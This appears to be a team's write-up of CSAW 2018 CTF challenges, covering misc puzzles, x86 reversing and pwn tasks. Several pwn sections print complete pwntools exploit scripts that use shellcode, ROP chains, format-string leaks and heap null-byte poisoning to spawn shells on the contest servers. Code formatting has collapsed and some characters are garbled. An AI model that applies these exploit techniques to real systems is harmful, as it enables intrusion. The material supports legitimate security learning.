- [`com.yourcompany.whyos_4.2.0-28debug_iphoneos-arm.deb`](files/whyos-app.deb) - [`console.log`](files/whyos-log.zip)
**Solution**
We are given an iOS app (or part of it perhaps), and a console log from an iOS device where the flag can presumably be located. The app itself seems pretty lacking, but we can see that it adds itself into the Preferences / Settings application. Our task is then to somehow find the flag in the console log.
The flag for this challenge is not in the `flag{...}` format, so a simple `grep` would not work. We do know that it is a hexadecimal string, but this is not extremely useful, given that the log file contains thousands of hexadecimal strings.
After searching the log manually for some time without much success, I decided to make the job a bit easier by separating the log entries into different files based on which application produced them. Each message has a simple format:
... default 19:11:39.936008 -0400 sharingd TTF: Problem flags changed: 0x0 < >, AirPlay no default 19:11:39.944252 -0400 SpringBoard WIFI PICKER [com.apple.Preferences]: isProcessLaunch: 0, isForegroundActivation: 1, isForegroundDeactivation: 0 default 19:11:39.944405 -0400 symptomsd 36246 com.apple.Preferences: ForegroundRunning (most elevated: ForegroundRunning) default 19:11:39.945559 -0400 SpringBoard SBLockScreenManager - Removing a wallet pre-arm disable assertion for reason: Setup default 19:11:39.945609 -0400 SpringBoard SBLockScreenManager - Removing a wallet pre-arm disable assertion for reason: Device blocked ...
The format being `<severity level> <timestamp> <source application> <message>`.
([Full separator script here](scripts/WhyOS.hx))
The individual program logs were much easier to parse, since individually they contained a lot of repeating messages that would presumably not show the flag. Eventually I got to the Preferences app and found the flag among these lines:
... default 19:11:45.660046 -0400 Preferences feedback engine <_UIFeedbackSystemSoundEngine: 0x1d42a0ea0: state=4, numberOfClients=0, prewarmCount=0, _isSuspended=0> state changed: Running -> Inactive default 19:11:46.580029 -0400 Preferences viewDidLoad "<private>" default 19:12:18.884704 -0400 Preferences ca3412b55940568c5b10a616fa7b855e default 19:12:49.086306 -0400 Preferences Received device state note {uniqueID: <private>, weakSelf: 0x1d02af780} default 19:12:49.087343 -0400 Preferences Device note {isNearby: 1, isConnected: 0, isCloudConnected: 0, _nearby: 0, _connected: 0, _cloudConnected: 0} ...
It might not be obvious why this should be the flag, but all the other messages produced by the Preferences app made sense, i.e. they had some descriptive text. This hexadecimal string did not have any indication of what it meant, so it was "clearly" the flag.
`ca3412b55940568c5b10a616fa7b855e`
## 1 Misc / Twitch Plays Test Flag ##
**Description**
> `flag{typ3_y3s_to_c0nt1nue}`
**No files provided**
**Solution**
...
`flag{typ3_y3s_to_c0nt1nue}`
## 50 Misc / bin_t ##
**Description**
> Binary trees let you do some interesting things. Can you balance a tree?> > `nc misc.chal.csaw.io 9001`> > Equal nodes should be inserted to the right of the parent node. You should balance the tree as you add nodes.
**No files provided**
**Solution** (by [PK398](https://github.com/PK398))
The challenge gives you ~100 numbers and tells you to insert the numbers into an AVL Binary Tree and then do a pre-order traversal. The concept of trees should be familiar to programmers and should be able to insert into an AVL tree and be able to do a left and right rotate to balance a tree and if not there are plenty of implementations available online. Once the tree has been constructed, we can traverse it in a pre-order manner (print root, traverse the left subtree and then the right subtree) and print it as a comma-separated list and sending it back to the server gives us the flag.
`flag{HOW_WAS_IT_NAVIGATING_THAT_FOREST?}`
## 75 Misc / Short Circuit ##
**Description**
> Start from the monkey's paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.> > - Elyk
**Files provided**
- [`20180915_074129.jpg`](files/short-circuit-20180915_074129.jpg)
**Solution** (by [PK398](https://github.com/PK398))

`flag{owmyhand}`
## 100 Misc / Algebra ##
**Description**
> Are you a real math wiz?> > `nc misc.chal.csaw.io 9002`
**No files provided**
**Solution**
After conecting we are presented with some simple math problems:
____ __ _ _ ___ ___ / ___|__ _ _ __ _ _ ___ _ _ / _(_)_ __ __| | __ __ |__ \__ \ | | / _` | '_ \ | | | |/ _ \| | | | | |_| | '_ \ / _` | \ \/ / / / / / | |__| (_| | | | | | |_| | (_) | |_| | | _| | | | | (_| | > < |_| |_| \____\__,_|_| |_| \__, |\___/ \__,_| |_| |_|_| |_|\__,_| /_/\_\ (_) (_) |___/ ********************************************************************************** 18 - X = 121 What does X equal?: -103 YAAAAAY keep going 14 * X = 64 What does X equal?: 64/14 HEYYYY THAT IS NOT VALID INPUT REMEMBER WE ONLY ACCEPT DECIMALS!
At some point the problems become a bit lengthier:
... YAAAAAY keep going ((((1 - 5) + (X - 15)) * ((18 + 2) + (11 + 3))) - (((4 + 8) * (3 * 3)) * ((2 * 5) * (13 - 9)))) - ((((8 - 14) - (11 - 6)) - ((14 + 12) + (13 * 15))) - (((9 - 1) - (3 * 9)) * ((5 * 4) * (19 + 4)))) = -13338
And at some point later still, the intermediate results cross the overflow limits for both 32-bit and 64-bit integers. So Python with its native bigints seemed like a natural choice for the solver.
Performance was not particularly important for this challenge, since it seemed the server would wait 20 seconds before timing out on any given problem. Additionally, the equation always had one occurrence of `X`, always had a single integer on the right-hand side, and the operations on the left-hand side were grouped into parentheses properly and only included `+`, `-`, and `*`.
So my approach was to have a couple of simple regular expressions to match a bracketed operation with specific integers and replace that (in the equation string) with the result, then repeat as long as needed. Also, some of the problems had non-integer solutions. The default precision of Python seemed good enough, but I was worried about inaccuracy build-up if I used floats, so instead I kept the result as a fraction of two integers until the very end when it was submitted to the server.
([Full Python script here](scripts/algebra.py))
`flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}`
## 200 Misc / Take an L ##
**Description**
> Fill the grid with L's but avoid the marked spot for the W> > `nc misc.chal.csaw.io 9000`> > The origin is at (0,0) on the top left
**Files provided**
- [`description.pdf`](files/take-an-l-description.pdf)
**Solution**
The challenge is a pretty simple algorithmic question - how to fill a `2^n x ^n` board with 1 hole with L-shaped tiles (each taking 3 squares). On connection the server always gives us a `n = 6`, i.e. a `64 x 64` board, but the fact that it is a power of two is significant, since this tiling works easily for any power of two board. Let's consider first how to tile boards with the hole in the top-left corner:
n = 0, board size: 1 x 1 O n = 1, board size: 2 x 2 O โ โโโ n = 2, board size: 4 x 4 O โ โโโ โโโ โ โ โ โโโ โ โโโ โโโ n = 4, board size: 8 x 8 O โ โโโ โโโ โโโ โโโ โ โ โ โโโ โ โ โโโ โ โโโ โ โ โโโ โโโ โ โ โโโ โโโ โ โโโ โ โโโ โ โ โโโ โโโ โ โ โ โโโ โ โ โโโ โ โโโ โโโ โโโ โโโ ...
Notice that in each step, the top-left quarter is tiled the same as the step before. Furthermore, look at `n = 4` if we take out the middle tile:
( ) โโโ โโโ ( n-1 ) โ โโโ โ ( ) โโโ โ โ ( ) โ โโโ โโโ โ โ โโโ โ โ โโโ โโโ โ โ โ โโโ โ โ โโโ โ โโโ โโโ โโโ โโโ
All the quarters are actually tiled the same way, as `n - 1`, just turned differently. We just need to place a tile in the middle to connect them. In fact, it doesn't matter where the hole is in the board. We just need to separate the board into quarters and tile each quarter independently.
([Full Haxe script here](scripts/TakeL.hx))
`flag{m@n_that_was_sup3r_hard_i_sh0uld_have_just_taken_the_L}`
## 25 Pwn / bigboy ##
**Description**
> Only big boi pwners will get this one!> > `nc pwn.chal.csaw.io 9000`
**Files provided**
- [`boi`](files/boi)
**Solution** (by [Mem2019](https://github.com/Mem2019))
stack overflow to change the variable
## 50 Pwn / get it? ##
**Description**
> Do you get it?> > `nc pwn.chal.csaw.io 9001`
**Files provided**
- [`get_it`](files/get_it)
**Solution** (by [Mem2019](https://github.com/Mem2019))
stack overflow to change the return address to the shell function
## 100 Pwn / shell->code ##
**Description**
> Linked lists are great! They let you chain pieces of data together.> > `nc pwn.chal.csaw.io 9005`
**Files provided**
- [`shellpointcode`](files/shellpointcode)
**Solution** (by [Mem2019](https://github.com/Mem2019))
put `/bin/sh\x00` into node 1, and put shellcode
```assemblyadd esp,0x30xor rdx,rdxxor rsi,rsipush SYS_execvepop raxsyscall``````pythonfrom pwn import *g_local=Truecontext.log_level='debug'if g_local: sh = process('./shellpointcode')#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("pwn.chal.csaw.io", 9005)shellcode = "lea rdi,[rsp+0x28]\nxor rdx,rdx\nxor rsi,rsi"sh.recvuntil("(15 bytes) Text for node 1: \n")sh.send("/bin/sh\x00\n")sh.recvuntil("(15 bytes) Text for node 2: \n")sh.send("A" * 5 + asm("\npush SYS_execve\npop rax\nsyscall", arch='amd64') + "\n")sh.recvuntil("node.next: 0x")leak = sh.recv(6*2)ret_addr = int(leak, 16)sh.recvuntil("What are your initials?\n")sh.send("A" * (3+8) + p64(ret_addr) + asm(shellcode, arch='amd64') + "\xeb\n")sh.interactive()```to node 2 and initials
bacause the memory layout, is initials, node 2, node 1, from low address to high address
## 200 Pwn / doubletrouble ##
**Description**
> Did you know every Number in javascript is a float> > `pwn.chal.csaw.io:9002`> > nsnc
**Files provided**
- [`doubletrouble`](files/doubletrouble)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The problem is the total length will increase in `find_array`
```cint __cdecl findArray(int *a1, double *a2, double a3, double a4){ int v5; // [esp+1Ch] [ebp-4h]
v5 = *a1; while ( *a1 < 2 * v5 ) { if ( a2[*a1 - v5] > (long double)a3 && a4 > (long double)a2[*a1 - v5] ) return *a1 - v5; ++*a1; } *a1 = v5; return 0;}```
Then it will sort according to the increased size, which can affect return address.
However, there is canary, so we need to let the canary stay at the same position after sorting, with return address being changed.
What I've chosen is to set it as `leave ret`, and pivot the stack into our double array, then execute `retn` to execute our shellcode in the form of IEEE double. Also, the shellcode must be sorted, which can be implemented by manipulating the exponential part of IEEE double, while the digits are our shellcode with `jmp short`.
This takes me a lot of time, and we need to execute `/bin/sh` instead of `/bin/csh` as it suggested in the strings in the executable. Also, since canary is random, we cannot be sure about the position of canary after sorting, so my approach gives about `1/40` probability.
//todo, more detailed illustration later
```pythonfrom pwn import *import structg_local=Falsecontext.log_level='debug'
LEAVE_RET = 0x08049166DOUBLE_OFF = 0def to_double(num): return struct.unpack('<d', p64(num))[0]
def make_ieee_double(exp, digit, sign = 1): assert sign == 1 or sign == 0 assert digit >= 0 and digit < (1 << 52) rexp = exp + 1023 assert rexp >= 0 or rexp < 2048 return to_double((sign << 63) + (rexp << 52) + digit)
def shellcodes_4(asmcode): ret = asm(asmcode) assert len(ret) <= 4 return u64(ret.ljust(4, "\x90") + '\xeb\x02\x00\x00')
def make_shellcode(shpath): assert len(shpath) % 4 == 0 ret = [] e = 1000 #0x804A127 for x in range(0, len(shpath), 4)[::-1]: ret.append(make_ieee_double(e, shellcodes_4("mov ax," + hex(u16(shpath[x+2:x+4]))))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("shl eax,16"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("mov ax," + hex(u16(shpath[x:x+2]))))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("push eax"))) e -= 1 #0x804BFF0 ret.append(make_ieee_double(e, shellcodes_4("push esp"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("mov ax,0x804"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("shl eax,16"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("mov ax,0xBFF0"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("mov eax,[eax]"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("call eax"))) return ret
def exploit(): if g_local: sh = process('./doubletrouble')#env={'LD_PRELOAD':'./libc.so.6'} shstr = "/bin/sh\x00" gdb.attach(sh) else: sh = remote("pwn.chal.csaw.io", 9002) shstr = "/bin/sh\x00" sh.recvuntil("0x") leak = int(sh.recv(8),16) arr = leak + DOUBLE_OFF smallest = make_ieee_double(1020, arr + 0x20) bigger = make_ieee_double(800, 0xdeadbeef)
payload = [smallest] * 4 + [-50.0] + [to_double((LEAVE_RET << 32) + arr - 4)] * 2 + make_shellcode(shstr) payload += [bigger] * (64-len(payload)) assert len(payload) == 64 sh.recvuntil("How long: ") sh.send(str(len(payload)) + "\n") for n in payload: sh.recvuntil("Give me: ") sh.send(repr(n) + "\n") sh.recvuntil("Sorted Array:") ret = sh.recvuntil("terminated\r\n", timeout = 3.0) if ret == '': sh.interactive() else: return sh
while True: try: exploit().close() except Exception as e: print "failed"```
## 250 Pwn / turtles ##
**Description**
> Looks like you found a bunch of turtles but their shells are nowhere to be seen! Think you can make a shell for them?> > `nc pwn.chal.csaw.io 9003`> > Update (09/14 6:25 PM) - Added libs.zip with the libraries for the challenge
**Files provided**
- [turtles](files/turtles) - [libs.zip](https://ctf.csaw.io/files/f8d7ea4fde01101de29de49d91434a5a/libs.zip) (too large to host)
**Solution** (by [Mem2019](https://github.com/Mem2019))
After reversing function `objc_msg_lookup`, we found that if we satisfy some conditions, we can manipulate the return value, which will be called, and then we can do ROP, because we can control the buffer on stack. What I did is to switch the stack to heap to do further exploitation.
Firstly, leak the `libc` address and return to main function, then do the same thing again to execute `system("/bin/sh")`
exp
```pythonfrom pwn import *
g_local=Falsecontext.log_level='debug'
e = ELF("./libc-2.19.so")p = ELF("./turtles")if g_local: sh = remote("192.168.106.151", 9999)#env={'LD_PRELOAD':'./libc.so.6'}else: sh = remote("pwn.chal.csaw.io", 9003) #ONE_GADGET_OFF = 0x4557a
LEAVE_RET = 0x400b82POP_RDI_RET = 0x400d43#rop = 'A' * 0x80rop = p64(POP_RDI_RET)rop += p64(p.got["printf"])rop += p64(p.plt["printf"])rop += p64(0x400B84) #main
sh.recvuntil("Here is a Turtle: 0x")leak = sh.recvuntil("\n")obj_addr = int(leak, 16)
rop_pivot = p64(0x400ac0) #pop rbp retrop_pivot += p64(obj_addr + 8 + 0x20 + 0x10 + 0x30)rop_pivot += p64(LEAVE_RET) + p64(0)
fake_turtle = p64(obj_addr + 8 + 0x20 - 0x40)fake_turtle += rop_pivot# different when dynamic# fake_turtle += p64(0x601400) + p64(0x601328)# fake_turtle += p64(0x601321) + p64(0)# fake_turtle += p64(1) + p64(8)# fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x80)# fake_turtle += 8 * p64(0)# #------------------# fake_turtle += p64(0) + p64(1)# fake_turtle += p64(0x601331) + p64(0x601349)# fake_turtle += p64(0x400d3c) #pop 5 ret# fake_turtle += 3 * p64(0)
fake_turtle += p64(obj_addr + 8 + 0x20 + 0x10) + p64(0)#----------------fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x10 + 0x10) #pop 5 retfake_turtle += p64(0x400d3c) + p64(0) * 3 #pop 5 retfake_turtle += 'a' * 8 + ropsh.interactive()sh.send(fake_turtle)libc_addr = u64(sh.recvuntil("\x7f") + "\x00\x00") - e.symbols["printf"]print hex(libc_addr)
sh.recvuntil("Here is a Turtle: 0x")leak = sh.recvuntil("\n")obj_addr = int(leak, 16)
rop_pivot = p64(0x400ac0) #pop rbp retrop_pivot += p64(obj_addr + 8 + 0x20 + 0x10 + 0x30)rop_pivot += p64(LEAVE_RET) + p64(0)
fake_turtle = p64(obj_addr + 8 + 0x20 - 0x40)fake_turtle += rop_pivotfake_turtle += p64(obj_addr + 8 + 0x20 + 0x10) + p64(0)#----------------fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x10 + 0x10) #pop 5 retfake_turtle += p64(0x400d3c) + p64(0) * 3 #pop 5 retfake_turtle += 'a' * 8 + p64(POP_RDI_RET) + p64(libc_addr + next(e.search('/bin/sh\x00')))fake_turtle += p64(libc_addr + e.symbols["system"]) #0x30 one_gadget
sh.send(fake_turtle)
sh.interactive()```
//todo
## 300 Pwn / PLC ##
**Description**
> We've burrowed ourselves deep within the facility, gaining access to the programable logic controllers (PLC) that drive their nuclear enrichment centrifuges. Kinetic damage is necessary, we need you to neutralize these machines.> > You can access this challenge at https://wargames.ret2.systems/csaw_2018_plc_challenge> > NOTE The wargames platform is out of scope for this challenge, just use it to do the pwnable challenge. Any kind of scanning or misuse will get your ip banned! However, if you do happen to find any security issues, please email us at `contact at ret2.io`
**No files provided**
**Solution** (by [Mem2019](https://github.com/Mem2019))
1. use `x` command to dump the binary, so that we can cheat using IDA.2. after some reversing, we found that there is overflow and no null termination when we fill `enrichment` string3. There is a function pointer just after it, which should point to `sub_AB0`, we can leak pie first4. then after some debugging, we know that when we call that function pointer, the `rdi` points to `enrichment`5. change that function to `printf`, so we can leak the `libc` address6. then change it to a ROP gadget, which can let the program go to our ROP chain, 7. because there is a 128-length buffer that we can control in stack8. use return to syscall using gadgets in libc, since the original `execve` is disabled
```pythonimport interactsh = interact.Process()
def u16(st): assert len(st) == 2 return ord(st[0]) + (ord(st[1]) << 8)
def p16(num): return chr(num & 0xff) + chr((num >> 8) & 0xff)
def u64(st): return u16(st[0:2]) + (u16(st[2:4]) << 0x10) + (u16(st[4:6]) << 0x20) + (u16(st[6:8]) << 0x30)
def p64(num): return p16(num & 0xffff) + p16((num >> 0x10) & 0xffff) + p16((num >> 0x20) & 0xffff) + p16((num >> 0x30) & 0xffff)
def checksum(codes): codes_len = 1020 assert len(codes) == codes_len acc = 0 k = 2 for i in xrange(0, codes_len, 2): acc = u16(codes[i:i+2]) ^ ((k + (((acc << 12) & 0xffff) | (acc >> 4))) & 0xffff) k += 1 return acc
def make_fw(codes): codes = "19" + codes cs = checksum(codes) ret = "FW" + p16(cs) + codes assert len(ret) == 0x400 return ret
def update(codes): sh.send("U\n") sh.send(make_fw(codes.ljust(1018,"\x00")))
def execute(payload = '', leak = False): sh.send("E".ljust(8,'\x00') + payload + "\n") #at 11$ if leak: sh.readuntil("2019") return sh.readuntil("\x7f")
def status(): sh.send("S\n") print sh.readuntil("ENRICHMENT MATERIAL: " + 'A' * 68) ret = sh.readuntil("\n") ret = ret[:len(ret)-1] return ret
def make_payload(st): ret = "" for c in st: ret += '2' ret += c return ret
def make_format(fmt): return make_payload("2019" + fmt + "A" * (64-len(fmt)) + p64(prog_addr + 0x900)) #printf
print sh.readuntil("- - - - - - - - - - - - - - - - - - - - \n")print sh.readuntil("- - - - - - - - - - - - - - - - - - - - \n")#update("7" * 70 + "31" + "21" * 0x100 + "9")update("2A" * 68 + "9")execute()
prog_addr = (u64(status() + "\x00\x00") - 0xAB0)print hex(prog_addr)trigger = "7" * 70 + "31" + "9"update(make_format("%11$s") + trigger)leak = execute(p64(prog_addr + 0x202018), True) #puts
libc_addr = u64(leak + "\x00\x00") - 0x6f690print hex(libc_addr)
rop_start = libc_addr + 0x10a407 # add rsp, 0x40 ; retpop_rax_ret = libc_addr + 0x33544pop_rdi_ret = libc_addr + 0x21102pop_rsi_ret = libc_addr + 0x202e8pop_rdx_ret = libc_addr + 0x1b92
rop = p64(pop_rax_ret) + '\x3b'.ljust(8, '\x00')# bug? p64(59) #execve rop += p64(pop_rdi_ret) + p64(libc_addr + 0x18CD57) #/bin/shrop += p64(pop_rsi_ret) + p64(0)rop += p64(pop_rdx_ret) + p64(0)rop += p64(libc_addr + 0xF725E) #syscall
update(make_payload("2019" + "A" * 64 + p64(rop_start)) + trigger)execute('A' * 0x10 + rop)
sh.interactive()```
## 400 Pwn / alien invasion ##
**Description**
> Construct additional pylons> > `nc pwn.chal.csaw.io 9004`> > Binary updated: 8:17 AM Sat> > Libc updated: 4:09 PM Sat
**Files provided**
- [`aliensVSsamurais`](files/alien-invasion-aliensVSsamurais) - [`libc-2.23.so`](files/alien-invasion-libc-2.23.so)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The sumurai part seems to be unexploitable, but there is a null byte off-by-one when we call `new_alien`
```cv0->name[(signed int)read(0, v0->name, size)] = 0; // off by onev1 = alien_index++;```
so we can use null byte poisoning to do it, however, we cannot write `__malloc_hook` or `__free_hook`, but there is a pointer in the alien structure, and we can show and edit it. Thus, we can use it to leak the stack address using `environ` in libc, and then write the return address of `hatchery` to `one_gadget` with the zero precondition.
The other parts seems to be not useful, although there are many problems in this binary. However, these problems are unexploitable or hard to exploit.
exp
```pythonfrom pwn import *
g_local=Truecontext.log_level='debug'
if g_local: e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") sh = process('./aliensVSsamurais')#env={'LD_PRELOAD':'./libc.so.6'} ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 gdb.attach(sh)else: ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 sh = remote("pwn.chal.csaw.io", 9004) e = ELF("./libc.so.6") #ONE_GADGET_OFF = 0x4557a
def create(length, content): sh.send("1\n") sh.recvuntil("How long is my name?\n") sh.send(str(length) + "\n") sh.recvuntil("What is my name?\n") sh.send(content) sh.recvuntil("Brood mother, what tasks do we have today.\n")
def delete(idx): sh.send("2\n") sh.recvuntil("Which alien is unsatisfactory, brood mother?\n") sh.send(str(idx) + "\n") sh.recvuntil("Brood mother, what tasks do we have today.\n")
def editidx(idx, content = None): sh.send("3\n") sh.recvuntil("Brood mother, which one of my babies would you like to rename?\n") sh.send(str(idx) + "\n") sh.recvuntil("Oh great what would you like to rename ") ret = sh.recvuntil(" to?\n") ret = ret[:len(ret)-len(" to?\n")] if content: sh.send(content) else: sh.send(ret) sh.recvuntil("Brood mother, what tasks do we have today.\n") return ret
sh.recvuntil("Daimyo, nani o shitaidesu ka?\n")sh.send("1\n")sh.recvuntil("What is my weapon's name?\n")sh.send("1\n")sh.recvuntil("Daimyo, nani o shitaidesu ka?\n")sh.send("3\n")#use samurai to put malloc hook to 0
sh.recvuntil("Brood mother, what tasks do we have today.\n")create(0x10, "fastbin") #0create(0x10, "fastbin") #1delete(0)delete(1)#prepare some 0x20 fastbin
create(0x210, "a") #2create(0x100, "c") #3create(0x100, "padding") #4
delete(2)create(0x108, "a" * 0x108) #5#0x111 -> 0x100#0x20 fastbin *1
create(0x80, "b1") #6create(0x100 - 0x90 - 0x20 - 0x10, "b2b2b2b2b2b2b2b2") #7
delete(6)delete(3)#0x221 unsorted bin#0x20 *2
create(0xa0, "consume unsorted + leak") # 8libc_addr = u64(editidx(7) + "\x00\x00") - UNSORTED_OFFprint hex(libc_addr)delete(8)#recover to 0x221 unsorted bin#0x20 *2
create(0xa0, "A" * 0x88 + p64(0x21) + p64(libc_addr + e.symbols["environ"]) + p64(0xdeadbeef)) # 9stack_addr = u64(editidx(7) + "\x00\x00")print hex(stack_addr)delete(9)#leak = 0xe58
#0xd48 -> one_gadget 0x30create(0xa0, "A" * 0x88 + p64(0x21) + p64(stack_addr - 0xe58 + 0xd48) + p64(0xdeadbeef)) # 10editidx(7, p64(libc_addr + ONE_GADGET_OFF))delete(10)
#0xd80 -> 0create(0xa0, "A" * 0x88 + p64(0x21) + p64(stack_addr - 0xe58 + 0xd80) + p64(0xdeadbeef)) # 11editidx(7, p64(0))delete(11)
sh.interactive()```
## 50 Reversing / A Tour of x86 - Part 1 ##
**Description**
> Newbs only!> > `nc rev.chal.csaw.io 9003`> > -Elyk> > Edit (09/15 12:30 AM) - Uploaded new stage-2.bin to make Part 2 easier.
**Files provided**
- [`stage-1.asm`](files/x86-1-stage-1.asm) - [`Makefile`](files/x86-1-Makefile) - [`stage-2.bin`](files/x86-1-stage-2.bin)
**Solution**
This challenge is meant to be an introduction to x86 assembly. For this challenge, we are provided with [`stage-1.asm`](files/x86-1-stage-1.asm), [`Makefile`](files/x86-1-Makefile), [`stage-2.bin`](files/x86-1-stage-2.bin) but all we really need [`stage-1.asm`](files/x86-1-stage-1.asm). This file is heavily commented, explaining instructions. In order to get the flag, we need to answer 5 questions. The code is running in 16 bit mode.
**Question 1**> What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')
Let's go and look at the code```asm ; There are other ways to make a register be set to zero... I hope you know your binary operators (and, or, not, xor, compliments) xor dh, dh ; <- Question 1 (line 129)```The size of the register dh is 8 bits. We xor the value in the register dh with itself and put the value in dh.Xoring 2 values that are same returns 0, therefore the result stored in dh (in hexadecimal) after line 129 executes is `0x00`.
**Question 2**> What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')
Let's look at the code.```asm cmp dx, 0 jne .death ; This time jumping backwards to a label we passed... Saves duplicate code.
; Alright, recruits! New registers! ; These are called segment registers and are all 16-bits only. ; ...Yeah... ; Fuckin' useless.
mov ds, ax ; Oh yeah so this time since mov es, bx ; the other registers are mov fs, cx ; already zero, I'm just going mov gs, dx ; to use them to help me clear <- Question 2 (line 145) mov ss, ax ; these registers out.```The fist line of the code snippet compares dx with 0 and the line after that say to jump to the label .death if dx does not equal 0.Also reading the the comments on line 145 we can immediately say that the register gs contains the value (in hexadecimal) `0x00`.
**Question 3**> What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')
Let's look at the code.
```asm mov cx, 0 ; (line 107)
; Many of these registers actually have names, but they're mostly irrelevant and just legacy. mov sp, cx ; Stack Pointer (line 149) mov bp, dx ; Base Pointer mov si, sp ; Source Index <- Question 3 (line 151)```The registers cx, sp and si are of size 16 bits. cx is set to 0 on line 107 and then the stack pointer is set to the value stored in cx on line 149. The source index is set to the value stored in the source pointer on line 151. Therefore after line 151 is executed the source index contains the value `0x0000`.
**Question 4**> What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')
```asm mov al, 't' mov ah, 0x0e ; <- Question 4 (line 169)```
The register ax is 16 bits longs. The top 8 bits can be modified using the register ah and the bottom 8 bits can be modified using the register al. After line 169 is executed, ah contains the value 0x0e and the register al contains the value 0x74 ('t' in hexadecimal). Therefore the register ax contains the value `0x0e74`.
**Question 5**> What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')
```asm mov ax, .string_to_print jmp print_string .string_to_print: db "acOS", 0x0a, 0x0d, " by Elyk", 0x00 ; label: <size-of-elements> <array-of-elements> ; db stands for define-bytes, there's db, dw, dd, dq, dt, do, dy, and dz. I just learned that three of those exist. It's not really assembly-specific knowledge. It's okay. https://www.nasm.us/doc/nasmdoc3.html ; The array can be in the form of a "string" or comma,separate,values,.
; Now let's make a whole 'function' that prints a stringprint_string: .init: mov si, ax ; We have no syntactic way of passing parameters, so I'm just going to pass the first argument of a function through ax - the string to print. (line 189)
.print_char_loop: cmp byte [si], 0 ; The brackets around an expression is interpreted as "the address of" whatever that expression is.. It's exactly the same as the dereference operator in C-like languages ; So in this case, si is a pointer (which is a copy of the pointer from ax (line 183), which is the first "argument" to this "function", which is the pointer to the string we are trying to print) ; If we are currently pointing at a null-byte, we have the end of the string... Using null-terminated strings (the zero at the end of the string definition at line 178) je .end mov al, [si] ; Since this is treated as a dereference of si, we are getting the BYTE AT si... `al = *si`
mov ah, 0x0e ; <- Question 5 (line 199) int 0x10 ; Actually print the character inc si ; Increment the pointer, get to the next character jmp .print_char_loop```
The register si contains the pointer the .string_to_print. Iterating through the loop the first time, we compare the value of the pointer that si is pointing to and check to see if it is 0 (null byte). The value of the pointer that si is pointing to is 'a' therefore we do not jump to the .end label and assign 'a' (0x61 in hexadecimal) to the register al. We then assign the value 0x0e to the register ah. Therefore the register ax contains the value `0x0e61`.
After answering this final question, the server gives us the flag.
`flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}`
## 100 Reversing / A Tour of x86 - Part 2 ##
**Description**
> Open stage2 in a disassembler, and figure out how to jump to the rest of the code!> > -Elyk> > Edit (09/15 12:30 AM) - Uploaded new stage-2.bin to make the challenge easier
**Files provided**
- [`stage-1.asm`](files/x86-1-stage-1.asm) - [`Makefile`](files/x86-1-Makefile) - [`stage-2.bin`](files/x86-1-stage-2.bin)
**Solution**
(TODO)
## 200 Reversing / A Tour of x86 - Part 3 ##
**Description**
> The final boss!> > Time to pull together your knowledge of Bash, Python, and stupidly-low-level assembly!!> > This time you have to write some assembly that we're going to run.. You'll see the output of your code through VNC for 60 seconds.> > Objective: Print the flag.> > What to know:> > Strings need to be alternating between the character you want to print and '0x1f'.> > To print a string you need to write those alternating bytes to the frame buffer (starting at 0x00b8000...just do it). Increment your pointer to move through this buffer.> > If you're having difficulty figuring out where the flag is stored in memory, this code snippet might help you out:> > get_ip:> call next_line> next_line:> pop rax> ret> > That'll put the address of `pop rax` into rax.> > Call serves as an alias for `push rip` (the instruction pointer - where we are in code) followed by `jmp _____` where whatever is next to the call fills in the blank.> > And in case this comes up, you shouldn't need to know where you are loaded in memory if you use that above snippet...> > Happy Reversing!!> > `nc rev.chal.csaw.io 9004`> > - Elyk> > Edit (09/16 1:13 AM) - Uploaded new files. No change in challenge difficulty or progression, simply streamlining the build process.
**Files provided**
- [`Makefile`](files/x86-3-Makefile) - [`part-3-server.py`](files/x86-3-part-3-server.py) - [`tacOS-base.bin`](files/x86-3-tacOS-base.bin)
**Solution**
From the `part-3-server.py` script we can see what happens on connection โ we provide the hexdump for our assembly code, it gets linked with the previous stages and executed on a VNC. What is most important, however, is that the flag is added to the end of our code.
So we simply need to read the flag from after our location in memory (related to the `rip` register, hence the snippet in the description), and write it to the screen. `0x000b8000` is a special location in memory โ it is mapped directly to text display in protected mode. We write the character values in even positions in the memory, and we write background / foreground colour settings in odd positions in the memory.
```asmbits 32
part3: mov esi, 0x000b8000 ; video memory location call get_ip ; = mov ebx, (position of pop ebx in get_ip) mov edx, 512 ; read 512 characters._mov_loop: cmp edx, 0 jz .end ; jump to .end if done sub edx, 1 mov ecx, [ebx] ; read a character from memory mov byte [esi], cl ; move it into video memory add esi, 1 mov byte [esi], 0x1F ; white-on-blue text add esi, 1 add ebx, 1 jmp ._mov_loop.end: jmp .end ; infinite loop to keep the VNC running
get_ip: call next_linenext_line: pop ebx ret```
`flag{S4l1y_Se11S_tacOShell_c0d3_bY_tHe_Se4_Sh0re}`
## 500 Reversing / kvm ##
**Description**
> We found a mysterious program that none of our most talented hackers could even begin to figure out.> > Author: toshi
**Files provided**
- [`challenge`](files/kvm-challenge)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The OS is obsfucated by using `hlt` instruction to implement the conditional or unconditional `jmp`, so we can patch it first
